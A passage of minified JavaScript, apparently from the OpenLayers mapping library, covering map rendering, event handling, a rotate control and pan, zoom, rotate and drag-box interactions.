0!==i?i:{}).hitTolerance?i.hitTolerance:0,r=void 0!==i.layerFilter?i.layerFilter:u,s=!1!==i.checkWrapped;return this.renderer_.forEachFeatureAtCoordinate(n,this.frameState_,o,s,e,null,r,null)}},i.prototype.getFeaturesAtPixel=function(t,e){var i=[];return this.forEachFeatureAtPixel(t,(function(t){i.push(t)}),e),i},i.prototype.getAllLayers=function(){var t=[];return function e(i){i.forEach((function(i){i instanceof ka?e(i.getLayers()):t.push(i)}))}(this.getLayers()),t},i.prototype.forEachLayerAtPixel=function(t,e,i){if(this.frameState_&&this.renderer_){var n=i||{},o=void 0!==n.hitTolerance?n.hitTolerance:0,r=n.layerFilter||u;return this.renderer_.forEachLayerAtPixel(t,this.frameState_,o,e,r)}},i.prototype.hasFeatureAtPixel=function(t,e){if(!this.frameState_||!this.renderer_)return!1;var i=this.getCoordinateFromPixelInternal(t),n=void 0!==(e=void 0!==e?e:{}).layerFilter?e.layerFilter:u,o=void 0!==e.hitTolerance?e.hitTolerance:0,r=!1!==e.checkWrapped;return this.renderer_.hasFeatureAtCoordinate(i,this.frameState_,o,r,n,null)},i.prototype.getEventCoordinate=function(t){return this.getCoordinateFromPixel(this.getEventPixel(t))},i.prototype.getEventCoordinateInternal=function(t){return this.getCoordinateFromPixelInternal(this.getEventPixel(t))},i.prototype.getEventPixel=function(t){var e=this.viewport_.getBoundingClientRect(),i="changedTouches"in t?t.changedTouches[0]:t;return[i.clientX-e.left,i.clientY-e.top]},i.prototype.getTarget=function(){return this.get(Za)},i.prototype.getTargetElement=function(){var t=this.getTarget();return void 0!==t?"string"==typeof t?document.getElementById(t):t:null},i.prototype.getCoordinateFromPixel=function(t){return hi(this.getCoordinateFromPixelInternal(t),this.getView().getProjection())},i.prototype.getCoordinateFromPixelInternal=function(t){var e=this.frameState_;return e?Pi(e.pixelToCoordinateTransform,t.slice()):null},i.prototype.getControls=function(){return this.controls},i.prototype.getOverlays=function(){return this.overlays_},i.prototype.getOverlayById=function(t){var e=this.overlayIdIndex_[t.toString()];return void 0!==e?e:null},i.prototype.getInteractions=function(){return this.interactions},i.prototype.getLayerGroup=function(){return this.get(Ba)},i.prototype.setLayers=function(t){var e=this.getLayerGroup();if(t instanceof da)e.setLayers(t);else{var i=e.getLayers();i.clear(),i.extend(t)}},i.prototype.getLayers=function(){return this.getLayerGroup().getLayers()},i.prototype.getLoadingOrNotReady=function(){for(var t=this.getLayerGroup().getLayerStatesArray(),e=0,i=t.length;e<i;++e){var n=t[e];if(n.visible){var o=n.layer.getRenderer();if(o&&!o.ready)return!0;var r=n.layer.getSource();if(r&&r.loading)return!0}}return!1},i.prototype.getPixelFromCoordinate=function(t){var e=ui(t,this.getView().getProjection());return this.getPixelFromCoordinateInternal(e)},i.prototype.getPixelFromCoordinateInternal=function(t){var e=this.frameState_;return e?Pi(e.coordinateToPixelTransform,t.slice(0,2)):null},i.prototype.getRenderer=function(){return this.renderer_},i.prototype.getSize=function(){return this.get(Ka)},i.prototype.getView=function(){return this.get(Va)},i.prototype.getViewport=function(){return this.viewport_},i.prototype.getOverlayContainer=function(){return this.overlayContainer_},i.prototype.getOverlayContainerStopEvent=function(){return this.overlayContainerStopEvent_},i.prototype.getOwnerDocument=function(){var t=this.getTargetElement();return t?t.ownerDocument:document},i.prototype.getTilePriority=function(t,e,i,n){return function(t,e,i,n,o){if(!t||!(i in t.wantedTiles))return Ua;if(!t.wantedTiles[i][e.getKey()])return Ua;var r=t.viewState.center,s=n[0]-r[0],a=n[1]-r[1];return 65536*Math.log(o)+Math.sqrt(s*s+a*a)/o}(this.frameState_,t,e,i,n)},i.prototype.handleBrowserEvent=function(t,e){var i=e||t.type,n=new Wa(i,this,t);this.handleMapBrowserEvent(n)},i.prototype.handleMapBrowserEvent=function(t){if(this.frameState_){var e=t.originalEvent,i=e.type;if(i===Nt||i===b||i===S){var n=this.getOwnerDocument(),o=this.viewport_.getRootNode?this.viewport_.getRootNode():n,r=e.target;if(this.overlayContainerStopEvent_.contains(r)||!(o===n?n.documentElement:o).contains(r))return}if(t.frameState=this.frameState_,!1!==this.dispatchEvent(t))for(var s=this.getInteractions().getArray().slice(),a=s.length-1;a>=0;a--){var l=s[a];if(l.getMap()===this&&l.getActive()&&this.getTargetElement()&&(!l.handleEvent(t)||t.propagationStopped))break}}},i.prototype.handlePostRender=function(){var t=this.frameState_,e=this.tileQueue_;if(!e.isEmpty()){var i=this.maxTilesLoading_,n=i;if(t){var o=t.viewHints;if(o[0]||o[1]){var r=Date.now()-t.time>8;i=r?0:8,n=r?0:2}}e.getTilesLoading()<i&&(e.reprioritize(),e.loadMoreTiles(i,n))}t&&this.renderer_&&!t.animate&&(!0===this.renderComplete_?(this.hasListener(Dt)&&this.renderer_.dispatchRenderEvent(Dt,t),!1===this.loaded_&&(this.loaded_=!0,this.dispatchEvent(new Ga(X,this,t)))):!0===this.loaded_&&(this.loaded_=!1,this.dispatchEvent(new Ga(W,this,t))));for(var s=this.postRenderFunctions_,a=0,l=s.length;a<l;++a)s[a](this,t);s.length=0},i.prototype.handleSizeChanged_=function(){this.getView()&&!this.getView().getAnimating()&&this.getView().resolveConstraints(0),this.render()},i.prototype.handleTargetChanged_=function(){if(this.mapBrowserEventHandler_){for(var t=0,e=this.targetChangeHandlerKeys_.length;t<e;++t)P(this.targetChangeHandlerKeys_[t]);this.targetChangeHandlerKeys_=null,this.viewport_.removeEventListener(C,this.boundHandleBrowserEvent_),this.viewport_.removeEventListener(b,this.boundHandleBrowserEvent_),this.mapBrowserEventHandler_.dispose(),this.mapBrowserEventHandler_=null,$(this.viewport_)}var i=this.getTargetElement();if(i){for(var n in i.appendChild(this.viewport_),this.renderer_||(this.renderer_=this.createRenderer()),this.mapBrowserEventHandler_=new Ya(this,this.moveTolerance_),Xa)this.mapBrowserEventHandler_.addEventListener(Xa[n],this.handleMapBrowserEvent.bind(this));this.viewport_.addEventListener(C,this.boundHandleBrowserEvent_,!1),this.viewport_.addEventListener(b,this.boundHandleBrowserEvent_,!!H&&{passive:!1});var o=this.getOwnerDocument().defaultView,r=this.keyboardEventTarget_?this.keyboardEventTarget_:i;this.targetChangeHandlerKeys_=[O(r,S,this.handleBrowserEvent,this),O(r,E,this.handleBrowserEvent,this),O(o,"resize",this.updateSize,this)]}else this.renderer_&&(clearTimeout(this.postRenderTimeoutHandle_),this.postRenderTimeoutHandle_=void 0,this.postRenderFunctions_.length=0,this.renderer_.dispose(),this.renderer_=null),this.animationDelayKey_&&(cancelAnimationFrame(this.animationDelayKey_),this.animationDelayKey_=void 0);this.updateSize()},i.prototype.handleTileChange_=function(){this.render()},i.prototype.handleViewPropertyChanged_=function(){this.render()},i.prototype.handleViewChanged_=function(){this.viewPropertyListenerKey_&&(P(this.viewPropertyListenerKey_),this.viewPropertyListenerKey_=null),this.viewChangeListenerKey_&&(P(this.viewChangeListenerKey_),this.viewChangeListenerKey_=null);var t=this.getView();t&&(this.updateViewportSize_(),this.viewPropertyListenerKey_=O(t,e,this.handleViewPropertyChanged_,this),this.viewChangeListenerKey_=O(t,x,this.handleViewPropertyChanged_,this),t.resolveConstraints(0)),this.render()},i.prototype.handleLayerGroupChanged_=function(){this.layerGroupPropertyListenerKeys_&&(this.layerGroupPropertyListenerKeys_.forEach(P),this.layerGroupPropertyListenerKeys_=null);var t=this.getLayerGroup();t&&(this.handleLayerAdd_(new Aa("addlayer",t)),this.layerGroupPropertyListenerKeys_=[O(t,e,this.render,this),O(t,x,this.render,this),O(t,"addlayer",this.handleLayerAdd_,this),O(t,"removelayer",this.handleLayerRemove_,this)]),this.render()},i.prototype.isRendered=function(){return!!this.frameState_},i.prototype.renderSync=function(){this.animationDelayKey_&&cancelAnimationFrame(this.animationDelayKey_),this.animationDelay_()},i.prototype.redrawText=function(){for(var t=this.getLayerGroup().getLayerStatesArray(),e=0,i=t.length;e<i;++e){var n=t[e].layer;n.hasRenderer()&&n.getRenderer().handleFontsChanged()}},i.prototype.render=function(){this.renderer_&&void 0===this.animationDelayKey_&&(this.animationDelayKey_=requestAnimationFrame(this.animationDelay_))},i.prototype.removeControl=function(t){return this.getControls().remove(t)},i.prototype.removeInteraction=function(t){return this.getInteractions().remove(t)},i.prototype.removeLayer=function(t){return this.getLayerGroup().getLayers().remove(t)},i.prototype.handleLayerRemove_=function(t){fl(t.layer)},i.prototype.removeOverlay=function(t){return this.getOverlays().remove(t)},i.prototype.renderFrame_=function(t){var e=this,i=this.getSize(),n=this.getView(),o=this.frameState_,r=null;if(void 0!==i&&Fo(i)&&n&&n.isDef()){var s=n.getHints(this.frameState_?this.frameState_.viewHints:void 0),a=n.getState();if(r={animate:!1,coordinateToPixelTransform:this.coordinateToPixelTransform_,declutterTree:null,extent:Ie(a.center,a.resolution,a.rotation,i),index:this.frameIndex_++,layerIndex:0,layerStatesArray:this.getLayerGroup().getLayerStatesArray(),pixelRatio:this.pixelRatio_,pixelToCoordinateTransform:this.pixelToCoordinateTransform_,postRenderFunctions:[],size:i,tileQueue:this.tileQueue_,time:t,usedTiles:{},viewState:a,viewHints:s,wantedTiles:{},mapId:D(this),renderTargets:{}},a.nextCenter&&a.nextResolution){var l=isNaN(a.nextRotation)?a.rotation:a.nextRotation;r.nextExtent=Ie(a.nextCenter,a.nextResolution,l,i)}}this.frameState_=r,this.renderer_.renderFrame(r),r&&(r.animate&&this.render(),Array.prototype.push.apply(this.postRenderFunctions_,r.postRenderFunctions),o&&(!this.previousExtent_||!Ge(this.previousExtent_)&&!xe(r.extent,this.previousExtent_))&&(this.dispatchEvent(new Ga("movestart",this,o)),this.previousExtent_=ve(this.previousExtent_)),this.previousExtent_&&!r.viewHints[0]&&!r.viewHints[1]&&!xe(r.extent,this.previousExtent_)&&(this.dispatchEvent(new Ga("moveend",this,r)),ce(r.extent,this.previousExtent_))),this.dispatchEvent(new Ga(z,this,r)),this.renderComplete_=this.hasListener(W)||this.hasListener(X)||this.hasListener(Dt)?!this.tileQueue_.getTilesLoading()&&!this.tileQueue_.getCount()&&!this.getLoadingOrNotReady():void 0,this.postRenderTimeoutHandle_||(this.postRenderTimeoutHandle_=setTimeout((function(){e.postRenderTimeoutHandle_=void 0,e.handlePostRender()}),0))},i.prototype.setLayerGroup=function(t){var e=this.getLayerGroup();e&&this.handleLayerRemove_(new Aa("removelayer",e)),this.set(Ba,t)},i.prototype.setSize=function(t){this.set(Ka,t)},i.prototype.setTarget=function(t){this.set(Za,t)},i.prototype.setView=function(t){if(!t||t instanceof cl)this.set(Va,t);else{this.set(Va,new cl);var e=this;t.then((function(t){e.setView(new cl(t))}))}},i.prototype.updateSize=function(){var t=this.getTargetElement(),e=void 0;if(t){var i=getComputedStyle(t),n=t.offsetWidth-parseFloat(i.borderLeftWidth)-parseFloat(i.paddingLeft)-parseFloat(i.paddingRight)-parseFloat(i.borderRightWidth),o=t.offsetHeight-parseFloat(i.borderTopWidth)-parseFloat(i.paddingTop)-parseFloat(i.paddingBottom)-parseFloat(i.borderBottomWidth);isNaN(n)||isNaN(o)||!Fo(e=[n,o])&&(t.offsetWidth||t.offsetHeight||t.getClientRects().length)&&console.warn("No map visible because the map container's width or height are 0.")}this.setSize(e),this.updateViewportSize_()},i.prototype.updateViewportSize_=function(){var t=this.getView();if(t){var e=void 0,i=getComputedStyle(this.viewport_);i.width&&i.height&&(e=[parseInt(i.width,10),parseInt(i.height,10)]),t.setViewportSize(e)}},i}(G),_l=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),yl=function(t){function e(e){var i=this,n=e||{};i=t.call(this,{element:document.createElement("div"),render:n.render,target:n.target})||this;var o=void 0!==n.className?n.className:"ol-rotate",r=void 0!==n.label?n.label:"⇧",s=void 0!==n.compassClassName?n.compassClassName:"ol-compass";i.label_=null,"string"==typeof r?(i.label_=document.createElement("span"),i.label_.className=s,i.label_.textContent=r):(i.label_=r,i.label_.classList.add(s));var a=n.tipLabel?n.tipLabel:"Reset rotation",l=document.createElement("button");l.className=o+"-reset",l.setAttribute("type","button"),l.title=a,l.appendChild(i.label_),l.addEventListener(w,i.handleClick_.bind(i),!1);var h=o+" "+nt+" "+ot,u=i.element;return u.className=h,u.appendChild(l),i.callResetNorth_=n.resetNorth?n.resetNorth:void 0,i.duration_=void 0!==n.duration?n.duration:250,i.autoHide_=void 0===n.autoHide||n.autoHide,i.rotation_=void 0,i.autoHide_&&i.element.classList.add(it),i}return _l(e,t),e.prototype.handleClick_=function(t){t.preventDefault(),void 0!==this.callResetNorth_?this.callResetNorth_():this.resetNorth_()},e.prototype.resetNorth_=function(){var t=this.getMap().getView();if(t){var e=t.getRotation();void 0!==e&&(this.duration_>0&&e%(2*Math.PI)!=0?t.animate({rotation:0,duration:this.duration_,easing:xi}):t.setRotation(0))}},e.prototype.render=function(t){var e=t.frameState;if(e){var i=e.viewState.rotation;if(i!=this.rotation_){var n="rotate("+i+"rad)";if(this.autoHide_){var o=this.element.classList.contains(it);o||0!==i?o&&0!==i&&this.element.classList.remove(it):this.element.classList.add(it)}this.label_.style.transform=n}this.rotation_=i}},e}(et),vl=yl,ml="active",xl=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}();function Cl(t,e,i,n){var o=t.getZoom();if(void 0!==o){var r=t.getConstrainedZoom(o+e),s=t.getResolutionForZoom(r);t.getAnimating()&&t.cancelAnimations(),t.animate({resolution:s,anchor:i,duration:void 0!==n?n:250,easing:xi})}}var wl=function(t){function e(e){var i=t.call(this)||this;return i.on,i.once,i.un,e&&e.handleEvent&&(i.handleEvent=e.handleEvent),i.map_=null,i.setActive(!0),i}return xl(e,t),e.prototype.getActive=function(){return this.get(ml)},e.prototype.getMap=function(){return this.map_},e.prototype.handleEvent=function(t){return!0},e.prototype.setActive=function(t){this.set(ml,t)},e.prototype.setMap=function(t){this.map_=t},e}(G),Sl=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),El=function(t){function e(e){var i=t.call(this)||this,n=e||{};return i.delta_=n.delta?n.delta:1,i.duration_=void 0!==n.duration?n.duration:250,i}return Sl(e,t),e.prototype.handleEvent=function(t){var e=!1;if(t.type==Xa.DBLCLICK){var i=t.originalEvent,n=t.map,o=t.coordinate,r=i.shiftKey?-this.delta_:this.delta_;Cl(n.getView(),r,o,this.duration_),i.preventDefault(),e=!0}return!e},e}(wl),Tl=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}();function bl(t){for(var e=t.length,i=0,n=0,o=0;o<e;o++)i+=t[o].clientX,n+=t[o].clientY;return[i/e,n/e]}var Ol=function(t){function e(e){var i=this,n=e||{};return i=t.call(this,n)||this,n.handleDownEvent&&(i.handleDownEvent=n.handleDownEvent),n.handleDragEvent&&(i.handleDragEvent=n.handleDragEvent),n.handleMoveEvent&&(i.handleMoveEvent=n.handleMoveEvent),n.handleUpEvent&&(i.handleUpEvent=n.handleUpEvent),n.stopDown&&(i.stopDown=n.stopDown),i.handlingDownUpSequence=!1,i.targetPointers=[],i}return Tl(e,t),e.prototype.getPointerCount=function(){return this.targetPointers.length},e.prototype.handleDownEvent=function(t){return!1},e.prototype.handleDragEvent=function(t){},e.prototype.handleEvent=function(t){if(!t.originalEvent)return!0;var e=!1;if(this.updateTrackedPointers_(t),this.handlingDownUpSequence){if(t.type==Xa.POINTERDRAG)this.handleDragEvent(t),t.originalEvent.preventDefault();else if(t.type==Xa.POINTERUP){var i=this.handleUpEvent(t);this.handlingDownUpSequence=i&&this.targetPointers.length>0}}else if(t.type==Xa.POINTERDOWN){var n=this.handleDownEvent(t);this.handlingDownUpSequence=n,e=this.stopDown(n)}else t.type==Xa.POINTERMOVE&&this.handleMoveEvent(t);return!e},e.prototype.handleMoveEvent=function(t){},e.prototype.handleUpEvent=function(t){return!1},e.prototype.stopDown=function(t){return t},e.prototype.updateTrackedPointers_=function(t){t.activePointers&&(this.targetPointers=t.activePointers)},e}(wl);function Rl(t){var e=arguments;return function(t){for(var i=!0,n=0,o=e.length;n<o&&(i=i&&e[n](t));++n);return i}}var Pl=function(t){var e=t.originalEvent;return e.altKey&&!(e.metaKey||e.ctrlKey)&&e.shiftKey},Il=function(t){return!t.map.getTargetElement().hasAttribute("tabindex")||function(t){var e=t.map.getTargetElement(),i=t.map.getOwnerDocument().activeElement;return e.contains(i)}(t)},Ml=u,Fl=function(t){var e=t.originalEvent;return 0==e.button&&!(B&&K&&e.ctrlKey)},Ll=function(t){var e=t.originalEvent;return!e.altKey&&!(e.metaKey||e.ctrlKey)&&!e.shiftKey},Al=function(t){var e=t.originalEvent;return!e.altKey&&!(e.metaKey||e.ctrlKey)&&e.shiftKey},Dl=function(t){var e=t.originalEvent,i=e.target.tagName;return"INPUT"!==i&&"SELECT"!==i&&"TEXTAREA"!==i&&!e.target.isContentEditable},kl=function(t){var e=t.originalEvent;return xt(void 0!==e,56),"mouse"==e.pointerType},jl=function(t){var e=t.originalEvent;return xt(void 0!==e,56),e.isPrimary&&0===e.button},Gl=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),zl=function(t){function e(e){var i=t.call(this,{stopDown:c})||this,n=e||{};i.kinetic_=n.kinetic,i.lastCentroid=null,i.lastPointersCount_,i.panning_=!1;var o=n.condition?n.condition:Rl(Ll,jl);return i.condition_=n.onFocusOnly?Rl(Il,o):o,i.noKinetic_=!1,i}return Gl(e,t),e.prototype.handleDragEvent=function(t){this.panning_||(this.panning_=!0,this.getMap().getView().beginInteraction());var e,i,n=this.targetPointers,o=bl(n);if(n.length==this.lastPointersCount_){if(this.kinetic_&&this.kinetic_.update(o[0],o[1]),this.lastCentroid){var r=[this.lastCentroid[0]-o[0],o[1]-this.lastCentroid[1]],s=t.map.getView();e=r,i=s.getResolution(),e[0]*=i,e[1]*=i,Xe(r,s.getRotation()),s.adjustCenterInternal(r)}}else this.kinetic_&&this.kinetic_.begin();this.lastCentroid=o,this.lastPointersCount_=n.length,t.originalEvent.preventDefault()},e.prototype.handleUpEvent=function(t){var e=t.map,i=e.getView();if(0===this.targetPointers.length){if(!this.noKinetic_&&this.kinetic_&&this.kinetic_.end()){var n=this.kinetic_.getDistance(),o=this.kinetic_.getAngle(),r=i.getCenterInternal(),s=e.getPixelFromCoordinateInternal(r),a=e.getCoordinateFromPixelInternal([s[0]-n*Math.cos(o),s[1]-n*Math.sin(o)]);i.animateInternal({center:i.getConstrainedCenter(a),duration:500,easing:xi})}return this.panning_&&(this.panning_=!1,i.endInteraction()),!1}return this.kinetic_&&this.kinetic_.begin(),this.lastCentroid=null,!0},e.prototype.handleDownEvent=function(t){if(this.targetPointers.length>0&&this.condition_(t)){var e=t.map.getView();return this.lastCentroid=null,e.getAnimating()&&e.cancelAnimations(),this.kinetic_&&this.kinetic_.begin(),this.noKinetic_=this.targetPointers.length>1,!0}return!1},e}(Ol),Wl=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Xl=function(t){function e(e){var i=this,n=e||{};return(i=t.call(this,{stopDown:c})||this).condition_=n.condition?n.condition:Pl,i.lastAngle_=void 0,i.duration_=void 0!==n.duration?n.duration:250,i}return Wl(e,t),e.prototype.handleDragEvent=function(t){if(kl(t)){var e=t.map,i=e.getView();if(i.getConstraints().rotation!==ol){var n=e.getSize(),o=t.pixel,r=Math.atan2(n[1]/2-o[1],o[0]-n[0]/2);if(void 0!==this.lastAngle_){var s=r-this.lastAngle_;i.adjustRotationInternal(-s)}this.lastAngle_=r}}},e.prototype.handleUpEvent=function(t){return!kl(t)||(t.map.getView().endInteraction(this.duration_),!1)},e.prototype.handleDownEvent=function(t){return!(!kl(t)||!Fl(t)||!this.condition_(t)||(t.map.getView().beginInteraction(),this.lastAngle_=void 0,0))},e}(Ol),Nl=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Yl=function(t){function e(e){var i=t.call(this)||this;return i.geometry_=null,i.element_=document.createElement("div"),i.element_.style.position="absolute",i.element_.style.pointerEvents="auto",i.element_.className="ol-box "+e,i.map_=null,i.startPixel_=null,i.endPixel_=null,i}return Nl(e,t),e.prototype.disposeInternal=function(){this.setMap(null)},e.prototype.render_=function(){var t=this.startPixel_,e=this.endPixel_,i="px",n=this.element_.style;n.left=Math.min(t[0],e[0])+i,n.top=Math.min(t[1],e[1])+i,n.width=Math.abs(e[0]-t[0])+i,n.height=Math.abs(e[1]-t[1])+i},e.prototype.setMap=function(t){if(this.map_){this.map_.getOverlayContainer().removeChild(this.element_);var e=this.element_.style;e.left="inherit",e.top="inherit",e.width="inherit",e.height="inherit"}this.map_=t,this.map_&&this.map_.getOverlayContainer().appendChild(this.element_)},e.prototype.setPixels=function(t,e){this.startPixel_=t,this.endPixel_=e,this.createOrUpdateGeometry(),this.render_()},e.prototype.createOrUpdateGeometry=function(){var t=this.startPixel_,e=this.endPixel_,i=[t,[t[0],e[1]],e,[e[0],t[1]]].map(this.map_.getCoordinateFromPixelInternal,this.map_);i[4]=i[0].slice(),this.geometry_?this.geometry_.setCoordinates([i]):this.geometry_=new zn([i])},e.prototype.getGeometry=function(){return this.geometry_},e}(o),Bl=Yl,Kl=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Zl=function(t){function e(e,i,n){var o=t.call(this,e)||this;return o.coordinate=i,o.mapBrowserEvent=n,o}return Kl(e,t),e}(t),Vl=function(t){function e(e){var i=t.call(this)||this;i.on,i.once,i.un;var n=e||{};return i.box_=new Bl(n.className||"ol-dragbox"),i.minArea_=void 0!==n.minArea?n.minArea:64,n.onBoxEnd&&(i.onBoxEnd=n.onBoxEnd),i.startPixel_=null,i.condition_=n.condition?n.condition:Fl,i.boxEndCondition_=n.boxEndCondition?n.boxEndCondition:i.defaultBoxEndCondition,i}return Kl(e,t),e.prototype.defaultBoxEndCondition=function(t,e,i){var n=i[0]-e[0],o=i[1]-e[1];return n*n+o*o>=this.minArea_},e.prototype.getGeometry=function(){return this.box_.getGeometry()},e.prototype.handleDragEvent=function(t){this.box_.setPixels(this.startPixel_,t.pixel),this.dispatchEvent(new Zl("boxdrag",t.coordinate,t))},e.prototype.handleUpEvent=function(t){this.box_.setMap(null);var e=this.boxEndCondition_(t,this.startPixel_,t.pixel);return e&&this.onBoxEnd(t),this.dispatchEvent(new Zl(e?"boxend":"boxcancel",t.coordinate,t)),!1},e.prototype.handleDownEvent=function(t){return!!this.condition_(t)&&(this.startPixel_=t.pixel,this.box_.setMap(t.map),this.box_.setPixels(this.startPixel_,this.startPixel_),this.dispatchEvent(new Zl("boxstart",t.coordinate,t)),!0)},e.prototype.onBoxEnd=function(t){},e}(Ol),Ul=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Hl=function(t){function e(e){var i=this,n=e||{},o=n.condition?n.condition:Al;return(i=t.call(this,{condition:o,className:n.className||"ol-dragzoom",minArea:n.minArea})||this).duration_=void 0!==n.duration?n.duration:200,i.out_=void 0!==n.out&&n.out,i}return Ul(e,t),e.prototype.onBoxEnd=function(t){var e=this.getMap().getView(),i=this.getGeometry();if(this.out_){var n=e.rotatedExtentForGeometry(i),o=e.getResolutionForExtentInternal(n),r=e.getResolution()/o;(i=i.clone()).scale(r*r)}e.fitInternal(i,{duration:this.duration_,easing:xi})},e}(Vl),ql=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Jl=function(t){function e(e){var i=t.call(this)||this,n=e||{};return i.defaultCondition_=function(t){return Ll(t)&&Dl(t)},i.condition_=void 0!==n.condition?n.condition:i.defaultCondition_,i.duration_=void 0!==n.duration?n.duration:100,i.pixelDelta_=void 0!==n.pixelDelta?n.pixelDelta:128,i}return ql(e,t),e.prototype.handleEvent=function(t){var e=!1;if(t.type==S){var i=t.originalEvent,n=i.keyCode;if(this.condition_(t)&&(40==n||37==n||39==n||38==n)){var o=t.map.getView(),r=o.getResolution()*this.pixelDelta_,s=0,a=0;40==n?a=-r:37==n?s=-r:39==n?s=r:a=r;var l=[s,a];Xe(l,o.getRotation()),function(t,e,i){var n=t.getCenterInternal();if(n){var o=[n[0]+e[0],n[1]+e[1]];t.animateInternal({duration:void 0!==i?i:250,easing:wi,center:t.getConstrainedCenter(o)})}}(o,l,this.duration_),i.preventDefault(),e=!0}}return!e},e}(wl),Ql=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),$l=function(t){function e(e){var i=t.call(this)||this,n=e||{};return i.condition_=n.condition?n.condition:Dl,i.delta_=n.delta?n.delta:1,i.duration_=void 0!==n.duration?n.duration:100,i}return Ql(e,t),e.prototype.handleEvent=function(t){var e=!1;if(t.type==S||t.type==E){var i=t.originalEvent,n=i.charCode;if(this.condition_(t)&&(n=="+".charCodeAt(0)||n=="-".charCodeAt(0))){var o=t.map,r=n=="+".charCodeAt(0)?this.delta_:-this.delta_;Cl(o.getView(),r,void 0,this.duration_),i.preventDefault(),e=!0}}return!e},e}(wl),th=function(){function t(t,e,i){this.decay_=t,this.minVelocity_=e,this.delay_=i,this.points_=[],this.angle_=0,this.initialVelocity_=0}return t.prototype.begin=function(){this.points_.length=0,this.angle_=0,this.initialVelocity_=0},t.prototype.update=function(t,e){this.points_.push(t,e,Date.now())},t.prototype.end=function(){if(this.points_.length<6)return!1;var t=Date.now()-this.delay_,e=this.points_.length-3;if(this.points_[e+2]<t)return!1;for(var i=e-3;i>0&&this.points_[i+2]>t;)i-=3;var n=this.points_[e+2]-this.points_[i+2];if(n<1e3/60)return!1;var o=this.points_[e]-this.points_[i],r=this.points_[e+1]-this.points_[i+1];return 